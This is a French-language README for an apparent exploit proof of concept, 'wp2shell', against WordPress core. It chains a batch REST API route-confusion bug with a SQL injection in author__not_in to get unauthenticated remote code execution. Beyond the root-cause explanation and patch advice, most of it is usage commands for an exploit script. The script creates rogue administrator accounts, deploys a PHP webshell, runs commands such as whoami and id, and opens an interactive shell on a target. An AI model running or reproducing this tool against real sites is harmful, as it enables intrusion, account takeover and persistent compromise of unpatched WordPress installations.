
Preuve de concept d'injection SQL dans l'API REST de WordPress menant à une exécution de code à distance (RCE) (CVE-2026-63030 & CVE-2026-60137)
TL;DR — Un attaquant non authentifié peut chaîner un bogue de routage par lot de l'API REST de WordPress avec une injection SQL dans
WP_Querypour parvenir à une exécution de code à distance complète sur une installation WordPress standard — sans plugin, sans compte, sans interaction utilisateur. Découvert par Adam Kues (Assetnote / Searchlight Cyber), qui l'a nommé wp2shell. Corrigé le 17 juillet 2026 dans les versions 6.9.5, 7.0.2 et 6.8.6.
CVE-2026-63030 est une mauvaise gestion du point de terminaison batch de l'API REST de WordPress Core (/wp-json/batch/v1) lors de l'échec de sous-requêtes, au point qu'une sous-requête ultérieure est dispatchée sous la mauvaise route. Seul, c'est un bogue logique. Chaîné avec CVE-2026-60137 — une injection SQL dans le paramètre author__not_in de WP_Query — cela devient une exécution de code à distance non authentifiée.
WordPress évalue CVE-2026-63030 comme Critique et CVE-2026-60137 comme Élevée ; les estimations CVSS tierces varient selon les trackers (environ 7,5 et 9,1 respectivement), car aucun des deux scores individuels ne capture pleinement ce que fait la chaîne. Traitez cela comme critique quel que soit le chiffre unique qui vous est présenté — WordPress a jugé l'attaque suffisamment grave pour forcer des mises à jour automatiques sur tous les sites affectés.
Cause racine — désynchronisation de la comptabilité des lots. Lorsqu'une sous-requête dans un lot échoue à la validation, le WP_Error résultant est enregistré dans un tableau interne $validation[] — mais le tableau parallèle $matches[] utilisé pour le routage n'est pas mis à jour en conséquence. Ce décalage d'un élément décale chaque sous-requête ultérieure d'une position : la sous-requête N finit par être dispatchée en utilisant le gestionnaire de route destiné à la sous-requête N+1.
Contournement de l'assainissement. S'exécutant sous un gestionnaire auquel elle n'a jamais été routée, la sous-requête ignore la validation d'entrée propre à ce gestionnaire — y compris les vérifications de type et de is_array().
Injection SQL. Ce décalage permet à une entrée contrôlée par l'attaquant d'atteindre le paramètre author__not_in de WP_Query sous forme de chaîne brute au lieu d'un tableau. La garde is_array() qui le rejetterait normalement ne s'exécute jamais, donc la valeur est interpolée directement dans une clause NOT IN (...).
Chemin vers la compromission. L'injection est SELECT uniquement — pas de requêtes empilées — mais sur les hébergeurs où l'utilisateur de la base de données a le privilège FILE, cela suffit pour écrire un webshell PHP dans la racine web. Là où il n'est pas disponible, le même point d'injection peut à la place vider en aveugle/UNION la table wp_users pour récupérer les hashs des mots de passe administrateur. Dans les deux cas : pas de compte, pas de plugin, pas d'interaction utilisateur nécessaire.
sequenceDiagram
participant A as Attaquant
participant B as Gestionnaire de lot
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (lot multi-requêtes façonné)
Note over B: Sous-requête échouée enregistrée dans un tableau interne mais pas dans l'autre — les index dérivent d'un
B->>B: Sous-requête N dispatchée avec le gestionnaire de route de la sous-requête N+1
Note over B: Contexte de gestionnaire erroné — la validation d'entrée de cette route ne s'exécute jamais
B->>Q: author__not_in passé comme chaîne brute, pas comme tableau
Note over Q: Garde is_array() ignorée
Q->>D: SELECT ... WHERE post_author NOT IN (chaîne attaquant)
alt Utilisateur DB a le privilège FILE
D-->>A: Écrit un webshell PHP dans la racine web → RCE
else Pas de privilège FILE
D-->>A: Injection aveugle/UNION vide les hashs des mots de passe admin
endgit clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Génération automatique d'identifiants
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Identifiants personnalisés
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Création auto d'admin, déploiement du shell, exécution d'une commande unique
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Mode shell interactif
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Utilisation d'identifiants existants
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Nettoyage après session shell
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Nettoyage uniquement (nécessite l'URL du shell de la session précédente)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Utilisation d'un proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Délai d'attente personnalisé
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
| Version WordPress | SQLi (CVE-2026-60137) | Confusion de route (CVE-2026-63030) | Risque réel |
|---|---|---|---|
| < 6.8.0 | — | — | Non affecté |
| 6.8.0 – 6.8.5 | ✅ | — | SQLi uniquement — nécessite un plugin/thème pour passer une entrée non fiable dans author__not_in ; non accessible en pré-auth sur le noyau seul. Corrigez quand même. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | RCE non authentifiée |
| 7.0.0 – 7.0.1 | ✅ | ✅ | RCE non authentifiée |
| 7.1 Beta 1 | ✅ | ✅ | RCE non authentifiée (canal bêta) |
GHSA-ff9f-jf42-662q (confusion de route) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — signalé par Adam Kues d'Assetnote / Searchlight Cyber via le programme HackerOne de WordPress.CVE-2026-60137) — signalée séparément, en équipe, par TF1T, dtro et haongo.6.9.5, 7.0.2, 6.8.6 ou ultérieure — le seul correctif complet. WordPress a activé les mises à jour automatiques forcées pour les sites affectés ; confirmez que le vôtre a bien été appliqué plutôt que de le supposer./wp-json/batch/v1 et ?rest_route=/batch/v1. Mesure d'urgence uniquement — cela peut casser une utilisation légitime de l'API batch (par exemple, l'édition basée sur les blocs) et ne remplace pas un correctif.